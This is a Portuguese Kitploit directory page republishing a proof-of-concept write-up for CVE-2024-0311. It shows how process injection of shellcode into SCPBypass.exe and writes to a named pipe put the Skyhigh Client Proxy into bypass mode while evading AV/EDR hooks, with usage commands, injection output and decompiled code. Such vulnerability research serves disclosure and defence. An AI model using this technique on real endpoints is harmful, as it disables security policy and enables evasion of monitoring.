Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-0311 — Prova de conceito de exploit para CVE-2024-0311 contornando a política do Skyhigh Client Proxy via injeção de processo e manipulação de pipe nomeado, com shellcode personalizado para evadir restrições de AV/EDR. | Kitploit
Ferramentas/GitHubGitHub/calligraf0/cve-2024-0311
Escalada de PrivilégiosExploraçãoEvasão de IDS/IPSEngenharia ReversaShellcodeDesenvolvimento de PayloadsExploração de Binários
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

Prova de conceito de exploit para CVE-2024-0311 contornando a política do Skyhigh Client Proxy via injeção de processo e manipulação de pipe nomeado, com shellcode personalizado para evadir restrições de AV/EDR.

Ver Repositório
9215há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-0311 ?

Este é um PoC para o que acredito ser CVE-2024-0311, SB10418.

Um insider malicioso pode contornar a política existente do Skyhigh Client Proxy sem um código de liberação válido.

Muitos detalhes. Muito exploit. ¯\(ツ)/¯

O PoC injeta em um processo executado pelo usuário SCPBypass.exe e escreve no pipe do SCPService.exe: \\.\pipe\MCPTrayPipe0. A injeção é necessária pois, mesmo que o pipe seja RW Everyone, algumas verificações são feitas no executável que escreve no pipe por WGUARDNT (o caminho do escritor é verificado), veja abaixo.

Um shellcode de exemplo é fornecido que permite a execução do WriteFile no pipe mesmo se Trellix/McAfee estiverem em execução e fazendo hook/block em LoadLibrary.

Compilar

Compile em Debug ou Release pelo Visual Studio

Shellcode

Gere o shellcode via:

root@kitploit:~
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

depois substitua o shellcode em shellcode.c.

Usage

root@kitploit:~
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

Exemplo de saída:

root@kitploit:~
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

Se tudo ocorrer bem, nos arquivos de log do SCP você deve encontrar uma entrada semelhante a esta:

root@kitploit:~
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Explicação

Esta será uma breve explicação, porque ninguém tem tempo para palavras.

Skyhigh Proxy Client

Primeiramente, o que é o Skyhigh Proxy Client?

O software Skyhigh Security Client Proxy ajuda a proteger os usuários de endpoint contra ameaças de segurança que surgem quando eles acessam a web de dentro ou fora da sua rede. O software cliente, que é instalado em endpoints executando Microsoft Windows ou macOS, redireciona requisições web ou permite que elas continuem para um proxy para filtragem. O software servidor roda em uma das plataformas de gerenciamento: Trellix ePO SaaS ou Trellix ePO Cloud.

Isso deve esclarecer.

Qual é a causa raiz?

Dadas as informações do aviso, não há muito por onde ir. Para ser honesto, eu estava analisando o serviço binário para encontrar problemas fáceis de explorar para LPE quando vi o CreateNamedPipe e fiquei interessado.

Aqui está uma cópia rápida do código descompilado do Ghidra:

root@kitploit:~
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

Como podemos ver, uma vez que a função é chamada, uma nova struct DACL é inicializada e um novo pipe \\.\pipe\MCPTrayPipe0 é criado em byte mode.

Então, enquanto o handle para tal pipe for válido, o programa lê dele e tenta converter os bytes enviados de ASCII para int com atoi(out_lpBuffer).

Ignorando o fato de que existem alternativas melhores ao atoi, assumindo que a chamada para atoi não falhou, o valor convertido é passado para FUN_14022d5b0:

root@kitploit:~

undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

que chama SetWaitableTimer. As strings aqui ajudaram um pouco a identificar o fluxo desejado.

O ponto principal aqui é que não há verificações feitas pelo processo ScpService.exe sobre quem escreve o que no pipe, os dados são simplesmente confiados e passados adiante. Além disso, verificando as permissões no pipe com accesschk, o pipe resulta RW Everyone.

Então o exploit basicamente deve fazer o seguinte:

  • CreateFile(): obter um handle para o pipe
  • SetNamedPipeHandleState(): definir o modo byte
  • WriteFile(): escrever dados
  • CloseHandle(): fechar o handle

Isso pode ser feito literalmente em algumas linhas de PowerShell. Vitória fácil, certo? Não.

Por que injetar?

Se ao menos as coisas fossem tão simples! Embora tecnicamente tudo parecesse funcionar dessa forma, abrir o pipe sempre resultava em timeout do cliente do pipe. Cavando um pouco mais fundo, notamos que o serviço estava configurando alguma ACL em outro lugar.

ACL

O descritor de segurança padrão usado pelo ScpService é inicializado da seguinte forma:

root@kitploit:~
SECURITY_DESCRIPTOR sd = {};

InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);

Isso representa um DACL que não concede acesso a ninguém.

Se a lista de controle de acesso discricionário (DACL) que pertence ao descritor de segurança de um objeto for definida como NULL, um DACL nulo é criado. Um DACL nulo concede acesso total a qualquer usuário que o solicite; a verificação de segurança normal não é realizada em relação ao objeto. Um DACL nulo não deve ser confundido com um DACL vazio. Um DACL vazio é um DACL devidamente alocado e inicializado que não contém entradas de controle de acesso (ACE). Um DACL vazio não concede acesso ao objeto ao qual está atribuído.

Muito provavelmente, a ACE/DACL é delegada a \\.\WGUARDNT que parece ser uma camada de proteção (McAfee?) responsável por conceder acesso a uma lista limitada de objetos:

root@kitploit:~
.data:000000014069A510 off_14069A510   dq offset aScpserviceExe_3
.data:000000014069A510                                         ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510                                         ; sub_14009A310+674↑o ...
.data:000000014069A510                                         ; "scpservice*.exe"
.data:000000014069A518                 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520                 dq offset aRegsvcExe    ; "regsvc.exe"
.data:000000014069A528                 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530                 dq offset aNaprdmgrExe  ; "naprdmgr.exe"
.data:000000014069A538                 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540                 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548                 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550                 dq offset aScpaboutExe  ; "SCPAbout.exe"
.data:000000014069A558                 dq offset aMfehidinExe  ; "mfehidin.exe"
.data:000000014069A560                 dq offset aMsiexecExe   ; "msiexec.exe"
.data:000000014069A568                 dq offset aMcshieldExe  ; "mcshield.exe"
.data:000000014069A570                 dq offset aMmcExe       ; "mmc.exe"
.data:000000014069A578                 dq offset aSystem_4     ; "system"
.data:000000014069A580                 dq offset aServicesExe  ; "services.exe"
.data:000000014069A588                 dq offset aWinlogonExe  ; "winlogon.exe"
.data:000000014069A590                 dq offset aSvchostExe   ; "svchost.exe"

Tentativa 1

Bem, se o executável que se conecta é verificado contra uma lista de executáveis/caminhos conhecidos e como o SCPBypass.exe, executado com os privilégios do nosso usuário, parece estar em uma lista de aplicativos confiáveis, não poderíamos simplesmente injetar uma DLL no SCPBypass.exe? Com certeza! Pena que Trellix/McAfee vai bloquear a chamada de LoadLibrary.

Daí o InjmeDLL não utilizado no projeto.

Tentativa 2 (final)

Optamos por uma solução rápida e suja no final, montada por @wolfcod: basta injetar um shellcode que faz o que precisa ser feito, já que o processo já tem tudo carregado de qualquer forma. Em vez de chamar a syscall diretamente ou tentar outras artimanhas, esta solução simples funcionou bem para o nosso caso.

Isso finalmente resultou na contornação das restrições impostas pela solução AV/EDR e em um exploit funcional.

👋 Saudações.

Baixar ferramenta